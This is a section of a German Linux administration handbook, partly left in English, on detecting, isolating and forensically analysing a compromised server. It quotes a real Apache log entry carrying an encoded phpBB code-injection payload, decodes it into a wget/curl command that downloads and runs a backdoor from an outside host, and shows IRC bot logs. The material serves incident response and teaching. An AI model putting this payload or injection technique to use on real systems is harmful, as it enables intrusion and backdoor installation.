14.7. Umgang mit einem kompromittierten Rechner
Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.
14.7.1. Den Einbruch eines Crackers entdecken und sehen
Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.
Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können, oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache
statt des standardmäßigen /usr/sbin/apache2
. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe
überprüft werden, um zu sehen, welches Programm diesen Prozess zur Zeit gerade ausführt:
#
ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Ein unter /var/tmp/
installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.
Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:
eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg
installiert sein sollte;
eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;
Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/
voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;
und so weiter.
14.7.2. Den Server vom Netz nehmen
Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk, und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see
Abschnitt 14.7.3, „Alles aufbewahren, was als Beweis dienen könnte“,
Abschnitt 14.7.5, „Forensische Analyse“ and
Abschnitt 14.7.6, „Das Angriffsszenarium wiederherstellen“), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd
). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
14.7.3. Alles aufbewahren, was als Beweis dienen könnte
Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.
Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan
für Netzwerkverbindungen, ps auxf
für eine Liste der Prozesse, ls -alR /proc/[0-9]*
für einige zusätzliche Informationen über laufende Programme), und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.
Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync
ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd
kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm nc
). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.
The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
Es ist nicht immer einfach, einen entfernten Server neu zu installieren; hierzu kann es erforderlich sein, Unterstützung vom Hosting-Unternehmen zu bekommen, da nicht alle derartigen Unternehmen automatische Reinstallationssysteme anbieten. Es sollte darauf geachtet werden, den Rechner nicht von Sicherheitskopien zu reinstallieren, die nach dem Beginn der Kompromittierung gezogen worden sind. Idealerweise sollten nur Daten wiederhergestellt werden, wohingegen die eigentliche Software von den Installationsmedien neu installiert wird.
14.7.5. Forensische Analyse
Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime
verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.
Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:
.bash_history
-Dateien stellen häufig eine sehr interessante Lektüre dar;
das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;
der Befehl strings
hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;
die Protokolldateien in /var/log/
ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;
Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.
Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package).
14.7.6. Das Angriffsszenarium wiederherstellen
Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.
Das folgende Protokoll ist ein Auzug aus einer Apache access.log
-Datei:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Dieses Beispiel entspricht einer alten Sicherheitslücke in phpBB.
Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")
. In der Tat wurde eine bd
-Datei in /tmp/
gefunden. Wenn man strings /mnt/tmp/bd
ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting...
. Dies sieht wirklich nach einer Hintertür aus.
Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.
Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt
und /tmp/loginx
. Lässt man diese Dateien durch strings
laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.
In diesem Beispiel wurde der gesamte Einbruch rekonstruiert, und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist, und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.